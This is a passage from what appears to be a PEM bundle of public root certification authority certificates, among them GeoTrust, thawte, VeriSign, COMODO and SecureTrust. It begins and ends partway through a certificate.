DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u -----END CERTIFICATE----- GeoTrust Primary Certification Authority ======================================== -----BEGIN CERTIFICATE----- MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQG EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMoR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgx CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQ cmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9AWbK7hWN b6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjAZIVcFU2Ix7e64HXprQU9 nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE07e9GceBrAqg1cmuXm2bgyxx5X9gaBGge RwLmnWDiNpcB3841kt++Z8dtd1k7j53WkBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGt tm/81w7a4DSwDRp35+MImO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJKoZI hvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ16CePbJC/kRYkRj5K Ts4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl4b7UVXGYNTq+k+qurUKykG/g/CFN NWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6KoKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHa Floxt/m0cYASSJlyc1pZU8FjUjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG 1riR/aYNKxoUAT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk= -----END CERTIFICATE----- thawte Primary Root CA ====================== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3 MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwg SW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMv KGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMT FnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCs oPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ 1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGc q/gcfomk6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/K aAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR32HuHUETVPm4p afs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUF AAOCAQEAeRHAS7ORtvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2/qxAeeWsEG89 jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVH z7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G5 ============================================================ -----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRp ZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln biBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBh dXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmlt YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKz j/i5Vbext0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIzSdhD Y2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn/ Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4/VBEnkjWNHiDxpg8v+R70r fk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/ BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2Uv Z2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqG SIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzEp6B4Eq1iDkVwZMXnl2YtmAl+ X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKE KQsTb47bDN0lAtukixlE0kF6BWlKWE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiC Km0oHw0LxOXnGiYZ4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vE ZV8NhnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- SecureTrust CA ============== -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b 01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- Secure Global CA ================ -----BEGIN CERTIFICATE----- MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g 8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi 0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+ OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5 3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW -----END CERTIFICATE----- COMODO Certification Authority ============================== -----BEGIN CERTIFICATE----- MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH +7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV 4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA 1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/ RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN +8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ== -----END CERTIFICATE----- Network Solutions Certificate Authority ======================================= -----BEGIN CERTIFICATE----- MIID5jCCAs6gAwIBAgIQV8szb8JcFuZHFhfjkDFo4DANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQG EwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMuMTAwLgYDVQQDEydOZXR3b3Jr IFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDYxMjAxMDAwMDAwWhcNMjkxMjMx MjM1OTU5WjBiMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYTmV0d29yayBTb2x1dGlvbnMgTC5MLkMu MTAwLgYDVQQDEydOZXR3b3JrIFNvbHV0aW9ucyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkvH6SMG3G2I4rC7xGzuAnlt7e+foS0zwzc7MEL7xx jOWftiJgPl9dzgn/ggwbmlFQGiaJ3dVhXRncEg8tCqJDXRfQNJIg6nPPOCwGJgl6cvf6UDL4wpPT aaIjzkGxzOTVHzbRijr4jGPiFFlp7Q3Tf2vouAPlT2rlmGNpSAW+Lv8ztumXWWn4Zxmuk2GWRBXT crA/vGp97Eh/jcOrqnErU2lBUzS1sLnFBgrEsEX1QV1uiUV7PTsmjHTC5dLRfbIR1PtYMiKagMnc /Qzpf14Dl847ABSHJ3A4qY5usyd2mFHgBeMhqxrVhSI8KbWaFsWAqPS7azCPL0YCorEMIuDTAgMB AAGjgZcwgZQwHQYDVR0OBBYEFCEwyfsA106Y2oeqKtCnLrFAMadMMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MFIGA1UdHwRLMEkwR6BFoEOGQWh0dHA6Ly9jcmwubmV0c29sc3NsLmNv bS9OZXR3b3JrU29sdXRpb25zQ2VydGlmaWNhdGVBdXRob3JpdHkuY3JsMA0GCSqGSIb3DQEBBQUA A4IBAQC7rkvnt1frf6ott3NHhWrB5KUd5Oc86fRZZXe1eltajSU24HqXLjjAV2CDmAaDn7l2em5Q 4LqILPxFzBiwmZVRDuwduIj/h1AcgsLj4DKAv6ALR8jDMe+ZZzKATxcheQxpXN5eNK4CtSbqUN9/ GGUsyfJj4akH/nxxH2szJGoeBfcFaMBqEssuXmHLrijTfsK0ZpEmXzwuJF/LWA/rKOyvEZbz3Htv wKeI8lN3s2Berq4o2jUsbzRF0ybh3uxbTydrFny9RAQYgrOJeRcQcT16ohZO9QHNpGxlaKFJdlxD ydi8NmdspZS11My5vWo1ViHe2MPr+8ukYEywVaCge1ey -----END CERTIFICATE----- WellsSecure Public Root Certificate Authority ============================================= -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoM F1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYw NAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcN MDcxMjEzMTcwNzU0WhcNMjIxMjE0MDAwNzU0WjCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dl bGxzIEZhcmdvIFdlbGxzU2VjdXJlMRwwGgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYD VQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDub7S9eeKPCCGeOARBJe+rWxxTkqxtnt3CxC5FlAM1 iGd0V+PfjLindo8796jE2yljDpFoNoqXjopxaAkH5OjUDk/41itMpBb570OYj7OeUt9tkTmPOL13 i0Nj67eT/DBMHAGTthP796EfvyXhdDcsHqRePGj4S78NuR4uNuip5Kf4D8uCdXw1LSLWwr8L87T8 bJVhHlfXBIEyg1J55oNjz7fLY4sR4r1e6/aN7ZVyKLSsEmLpSjPmgzKuBXWVvYSV2ypcm44uDLiB K0HmOFafSZtsdvqKXfcBeYF8wYNABf5x/Qw/zE5gCQ5lRxAvAcAFP4/4s0HvWkJ+We/SlwxlAgMB AAGjggE0MIIBMDAPBgNVHRMBAf8EBTADAQH/MDkGA1UdHwQyMDAwLqAsoCqGKGh0dHA6Ly9jcmwu cGtpLndlbGxzZmFyZ28uY29tL3dzcHJjYS5jcmwwDgYDVR0PAQH/BAQDAgHGMB0GA1UdDgQWBBQm lRkQ2eihl5H/3BnZtQQ+0nMKajCBsgYDVR0jBIGqMIGngBQmlRkQ2eihl5H/3BnZtQQ+0nMKaqGB i6SBiDCBhTELMAkGA1UEBhMCVVMxIDAeBgNVBAoMF1dlbGxzIEZhcmdvIFdlbGxzU2VjdXJlMRww GgYDVQQLDBNXZWxscyBGYXJnbyBCYW5rIE5BMTYwNAYDVQQDDC1XZWxsc1NlY3VyZSBQdWJsaWMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHmCAQEwDQYJKoZIhvcNAQEFBQADggEBALkVsUSRzCPI K0134/iaeycNzXK7mQDKfGYZUMbVmO2rvwNa5U3lHshPcZeG1eMd/ZDJPHV3V3p9+N701NX3leZ0 bh08rnyd2wIDBSxxSyU+B+NemvVmFymIGjifz6pBA4SXa5M4esowRBskRDPQ5NHcKDj0E0M1NSlj qHyita04pO2t/caaH/+Xc/77szWnk4bGdpEA5qxRFsQnMlzbc9qlk1eOPm01JghZ1edE13YgY+es E2fDbbFwRnzVlhE9iW9dqKHrjQrawx0zbKPqZxmamX9LPYNRKh3KL4YMon4QLSvUFpULB6ouFJJJ tylv2G0xffX8oRAHh84vWdw+WNs= -----END CERTIFICATE----- COMODO ECC Certification Authority ================================== -----BEGIN CERTIFICATE----- MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X 4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= -----END CERTIFICATE----- IGC/A ===== -----BEGIN CERTIFICATE----- MIIEAjCCAuqgAwIBAgIFORFFEJQwDQYJKoZIhvcNAQEFBQAwgYUxCzAJBgNVBAYTAkZSMQ8wDQYD VQQIEwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVE Q1NTSTEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZy MB4XDTAyMTIxMzE0MjkyM1oXDTIwMTAxNzE0MjkyMlowgYUxCzAJBgNVBAYTAkZSMQ8wDQYDVQQI EwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVEQ1NT STEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZyMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh/R0GLFMzvABIaIs9z4iPf930Pfeo2aSVz2 TqrMHLmh6yeJ8kbpO0px1R2OLc/mratjUMdUC24SyZA2xtgv2pGqaMVy/hcKshd+ebUyiHDKcMCW So7kVc0dJ5S/znIq7Fz5cyD+vfcuiWe4u0dzEvfRNWk68gq5rv9GQkaiv6GFGvm/5P9JhfejcIYy HF2fYPepraX/z9E0+X1bF8bc1g4oa8Ld8fUzaJ1O/Id8NhLWo4DoQw1VYZTqZDdH6nfK0LJYBcNd frGoRpAxVs5wKpayMLh35nnAvSk7/ZR3TL0gzUEl4C7HG7vupARB0l2tEmqKm0f7yd1GQOGdPDPQ tQIDAQABo3cwdTAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBRjAVBgNVHSAEDjAMMAoGCCqB egF5AQEBMB0GA1UdDgQWBBSjBS8YYFDCiQrdKyFP/45OqDAxNjAfBgNVHSMEGDAWgBSjBS8YYFDC iQrdKyFP/45OqDAxNjANBgkqhkiG9w0BAQUFAAOCAQEABdwm2Pp3FURo/C9mOnTgXeQp/wYHE4RK q89toB9RlPhJy3Q2FLwV3duJL92PoF189RLrn544pEfMs5bZvpwlqwN+Mw+VgQ39FuCIvjfwbF3Q MZsyK10XZZOYYLxuj7GoPB7ZHPOpJkL5ZB3C55L29B5aqhlSXa/oovdgoPaN8In1buAKBQGVyYsg Crpa/JosPL3Dt8ldeCUFP1YUmwza+zpI/pdpXsoQhvdOlgQITeywvl3cO45Pwf2aNjSaTFR+FwNI lQgRHAdvhQh+XU3Endv7rs6y0bO4g2wdsrN58dhwmX7wEwLOXt1R0982gaEbeC9xs/FZTEYYKKuF 0mBWWg== -----END CERTIFICATE----- Security Communication EV RootCA1 ================================= -----BEGIN CERTIFICATE----- MIIDfTCCAmWgAwIBAgIBADANBgkqhkiG9w0BAQUFADBgMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEqMCgGA1UECxMhU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBFViBSb290Q0ExMB4XDTA3MDYwNjAyMTIzMloXDTM3MDYwNjAyMTIzMlowYDELMAkGA1UE BhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKjAoBgNVBAsTIVNl Y3VyaXR5IENvbW11bmljYXRpb24gRVYgUm9vdENBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBALx/7FebJOD+nLpCeamIivqA4PUHKUPqjgo0No0c+qe1OXj/l3X3L+SqawSERMqm4miO /VVQYg+kcQ7OBzgtQoVQrTyWb4vVog7P3kmJPdZkLjjlHmy1V4qe70gOzXppFodEtZDkBp2uoQSX WHnvIEqCa4wiv+wfD+mEce3xDuS4GBPMVjZd0ZoeUWs5bmB2iDQL87PRsJ3KYeJkHcFGB7hj3R4z ZbOOCVVSPbW9/wfrrWFVGCypaZhKqkDFMxRldAD5kd6vA0jFQFTcD4SQaCDFkpbcLuUCRarAX1T4 bepJz11sS6/vmsJWXMY1VkJqMF/Cq/biPT+zyRGPMUzXn0kCAwEAAaNCMEAwHQYDVR0OBBYEFDVK 9U2vP9eCOKyrcWUXdYydVZPmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqG SIb3DQEBBQUAA4IBAQCoh+ns+EBnXcPBZsdAS5f8hxOQWsTvoMpfi7ent/HWtWS3irO4G8za+6xm iEHO6Pzk2x6Ipu0nUBsCMCRGef4Eh3CXQHPRwMFXGZpppSeZq51ihPZRwSzJIxXYKLerJRO1RuGG Av8mjMSIkh1W/hln8lXkgKNrnKt34VFxDSDbEJrbvXZ5B3eZKK2aXtqxT0QsNY6llsf9g/BYxnnW mHyojf6GPgcWkuF75x3sM3Z+Qi5KhfmRiWiEA4Glm5q+4zfFVKtWOxgtQaQM+ELbmaDgcm+7XeEW 